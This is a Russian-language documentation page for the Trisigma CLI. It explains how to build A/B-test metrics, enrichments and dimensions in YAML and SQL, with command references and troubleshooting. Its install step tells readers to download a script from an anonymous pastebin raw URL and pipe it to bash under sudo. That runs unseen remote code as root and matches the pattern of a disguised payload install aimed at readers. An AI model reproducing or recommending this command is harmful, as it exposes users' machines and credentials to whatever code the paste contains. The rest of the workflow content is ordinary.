Перейти к основному содержимому

Практический Workflow

Пошаговая инструкция создания метрики от идеи до продакшена.

Предварительные требования​

0. Получите доступ к репозиторию​

Если у вас еще нет доступа к репозиторию метрик, обратитесь в канал Trisigma Support Channel или к команде Trisigma для настройки доступа.

Подробнее об интеграции: см. документацию по настройке репозитория.

1. Установите Trisigma CLI​

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
trisigma init

2. Клонируйте репозиторий​

git clone git@github.com:{your-company}/{your-company}_ab_metrics.git ~/projects/ab-metrics
cd ~/projects/ab-metrics

3. Проверьте доступ​

trisigma sl validate

Простая метрика​

Задача: Метрика "Конверсия в телефонный звонок"​

Измеряем долю пользователей, кто позвонил после просмотра объявления.

Шаг 1: Создайте ветку​

trisigma sl task AB-1234 "Добавление метрики phone_call_rate"

Шаг 2: Выберите source​

trisigma sl list-sources
trisigma sl compile --source buyer_stream

Убедитесь что source содержит необходимые колонки: cookie_id, eid, event_date.

Шаг 3: Создайте метрику​

Создайте metrics/phone_call_conversion.yaml:

definitions:
  - &is_item_view { eid: 303 }
  - &is_phone_call { eid: 315 }

metric.counter:
  item_views: { filter: *is_item_view, obs: [events_count] }
  phone_calls: { filter: *is_phone_call, obs: [events_count] }

metric.uniq:
  item_viewers: { counter: item_views, key: [cookie_id] }
  phone_callers: { counter: phone_calls, key: [cookie_id] }

metric.ratio:
  phone_call_rate: { num: phone_callers, den: item_viewers }

Шаг 4: Привяжите к source​

Откройте sources/sources.yaml:

buyer_stream:
  metric_configs:
    - buyer_stream
    - phone_call_conversion # Добавили

Шаг 5: Валидируйте​

trisigma sl validate

Если есть ошибки:

trisigma sl validate --ai-explain

Шаг 6: Проверьте SQL​

trisigma sl compile --metrics phone_call_rate

Шаг 7: Сохраните​

trisigma sl save -m "AB-1234: Добавил метрику phone_call_rate"

Шаг 8: Опубликуйте PR​

trisigma sl publish

Шаг 9: Review и merge​

  1. Перейдите по ссылке для открытия созданного Pull Request.
  2. Проверьте результаты автоматической валидации, которая запустится при создании PR.
  3. Ознакомьтесь с подробными результатами проверки в комментариях к PR.
  4. Дождитесь проведения ревью кода коллегами.
  5. Выполните команду run merge в комментариях после получения всех подтверждений.
  6. Обратитесь в канал Trisigma Support Channel, если в процессе слияния возникли сложности.

Шаг 10: Проверка после merge​

После успешного мерджа:

  1. Зайдите в Реестр метрик для проверки доступности новой метрики.
  2. Проверьте сгенерированный SQL-код вашей метрики в интерфейсе платформы.
  3. Убедитесь, что логика расчетов полностью соответствует вашим ожиданиям и требованиям бизнеса.

Метрика с обогащением​

Задача: Метрика "DAU по сегментам покупателя"​

Измеряем активных пользователей с разбивкой по сегментам (seeker/offerer).

Шаг 1: Проверьте enrichment​

trisigma sl list-sources
trisigma sl compile --source buyer_stream --dimensions buyer_segment

Если buyer_segment доступен, переходите к созданию метрики.

Если enrichment отсутствует, создайте enrichments/buyer_segment.yaml:

buyer_segment_cookie:
  sql: |
    SELECT cookie_id, event_date, buyer_segment
    FROM dma.v_buyer_segments
    WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
      AND event_date BETWEEN :first_date AND :last_date
  join_key: [cookie_id, event_date]

Шаг 2: Создайте метрику​

Создайте metrics/dau_by_segment.yaml:

definitions:
  - &is_seeker { buyer_segment: "seeker" }
  - &is_offerer { buyer_segment: "offerer" }

metric.counter:
  seeker_events: { filter: *is_seeker, obs: [events_count] }
  offerer_events: { filter: *is_offerer, obs: [events_count] }

metric.uniq:
  dau_seekers: { counter: seeker_events, key: [cookie_id] }
  dau_offerers: { counter: offerer_events, key: [cookie_id] }

Шаг 3: Привяжите к source​

buyer_stream:
  metric_configs:
    - buyer_stream
    - dau_by_segment # Добавили

Шаг 4: Валидируйте и проверьте​

trisigma sl validate
trisigma sl compile --metrics dau_seekers --dimensions buyer_segment

Enrichment применится автоматически, т.к. метрика использует buyer_segment.

Разрез с обогащением​

Задача: Добавить dimension "Источник трафика"​

Шаг 1: Создайте enrichment​

Создайте enrichments/traffic_source.yaml:

traffic_source_cookie:
  sql: |
    SELECT cookie_id, event_date, traffic_source_id
    FROM dma.v_traffic_sources
    WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
      AND event_date BETWEEN :first_date AND :last_date
  join_key: [cookie_id, event_date]

Шаг 2: Создайте dimension​

Добавьте в dimensions/dimensions.yaml:

traffic_source:
  has_id: true
  description: "Источник трафика (organic, paid, direct)"

Шаг 3: Создайте справочник​

Создайте dimensions/sql/traffic_source.sql:

SELECT
  source_name as value,
  source_id as value_id
FROM dma.d_traffic_sources
WHERE is_active = true

Шаг 4: Валидируйте​

trisigma sl validate

Шаг 5: Проверьте использование​

trisigma sl compile --metrics daily_active_users --dimensions traffic_source

Вычисляемые поля​

Задача: Добавить поле "Возраст объявления в часах"​

Когда нужно использовать вычисляемое поле в метриках и dimensions.

Шаг 1: Определите calculated field​

В файле enrichment добавьте:

item_attr_log:
  sql: |
    SELECT item_id, event_date, sort_time, event_datetime
    FROM dma.item_attr_log
    WHERE {{ pushdown_filter(item_id='item_id') }}
  join_key: [item_id, event_date]

calculated_fields:
  item_age_hours: date_diff('hour', sort_time, event_datetime)

Шаг 2: Используйте в метрике​

metric.counter:
  fresh_item_views:
    filter: [item_age_hours.<: 24, eid: 303] # Объявления младше 24 часов
    obs: [events_count]

metric.uniq:
  fresh_item_viewers:
    counter: fresh_item_views
    key: [cookie_id]

Шаг 3: Валидируйте​

trisigma sl validate
trisigma sl compile --metrics fresh_item_viewers

Быстрая справка команд​

Управление задачами​

# Создание ветки
trisigma sl task AB-1234 "Описание"

# Статус
trisigma sl status

Валидация и компиляция​

# Валидация
trisigma sl validate
trisigma sl validate --ai-explain

# Компиляция source
trisigma sl compile --source buyer_stream

# Компиляция метрик
trisigma sl compile --metrics daily_active_users
trisigma sl compile --metrics conversion_rate --dimensions platform

# Режим watch (автоматическая перекомпиляция при изменениях)
trisigma sl compile --source buyer_stream --watch

Списки​

trisigma sl list-sources
trisigma sl list-dimensions
trisigma sl list-metrics

Git операции​

trisigma sl save -m "AB-1234: Описание изменений"
trisigma sl publish

Частые проблемы​

1. Валидация не проходит: колонка не найдена​

Error: column 'cookie_id' not found in source

Решение: Проверьте SQL source или enrichment:

trisigma sl compile --source my_source

Убедитесь, что колонка присутствует в SELECT.

2. Metric ссылается на несуществующий counter​

Error: metric 'buyers' references counter 'purchases' which doesn't exist

Решение: Определите counter в том же файле:

metric.counter:
  purchases: { filter: [eid: 500], obs: [events_count] }

metric.uniq:
  buyers: { counter: purchases, key: [cookie_id] }

3. Enrichment не применяется​

Причины:

  1. Проверьте наличие всех колонок из join_key в исходном источнике (source).
  2. Убедитесь, что колонки обогащения используются хотя бы в одной метрике или разрезе.

Решение: Проверьте: Проверьте:

trisigma sl compile --source buyer_stream
  1. Убедитесь, что оба поля cookie_id и event_date присутствуют в исходном источнике.

4. Циклическая зависимость enrichments​

Error: circular dependency detected: enrichment_a -> enrichment_b -> enrichment_a

Решение: Пересмотрите join_key в enrichments, чтобы избежать циклов.

5. Dimension справочник не найден​

Error: dimension 'my_dimension' is missing SQL file

Решение: Создайте файл dimensions/sql/my_dimension.sql со справочником.

6. Несоответствие типов для has_id​

Error: dimension 'platform' has has_id=True but column 'platform' is not integer type

Решение:

  1. Убедитесь, что целевая колонка имеет обязательный суффикс _id, например platform_id.
  2. Измените значение флага на has_id: false, если поле не является идентификатором.

Чеклист перед PR​

  1. Создана ветка через trisigma sl task
  2. Выбран подходящий source (или создан новый)
  3. Создан файл метрики (или enrichment/dimension)
  4. Метрика привязана к source в sources.yaml
  5. Валидация прошла (trisigma sl validate)
  6. SQL проверен (trisigma sl compile --metrics)
  7. Tested with dimensions (trisigma sl compile --metrics X --dimensions Y)
  8. Сохранено (trisigma sl save -m "AB-XXXX: описание")
  9. PR опубликован (trisigma sl publish)

Следующие шаги​

Документация​

  1. Изучите основы работы семантического слоя в разделе Концепции.
  2. Ознакомьтесь с правилами настройки таблиц фактов в разделе Sources.
  3. Изучите механизмы автоматического добавления колонок в разделе Enrichments.
  4. Разберитесь с логикой расчета показателей в разделе Metrics.
  5. Узнайте, как настраивать разрезы для группировки в разделе Dimensions.
  6. Ознакомьтесь с возможностями Trisigma CLI в официальной документации.
  7. Используйте Реестр метрик для просмотра текущих настроек.

Поддержка​

  1. Используйте Trisigma Support Channel для решения общих вопросов по работе с платформой.
  2. Обращайтесь в Trisigma Team Channel по вопросам, связанным с настройкой метрик и семантического слоя.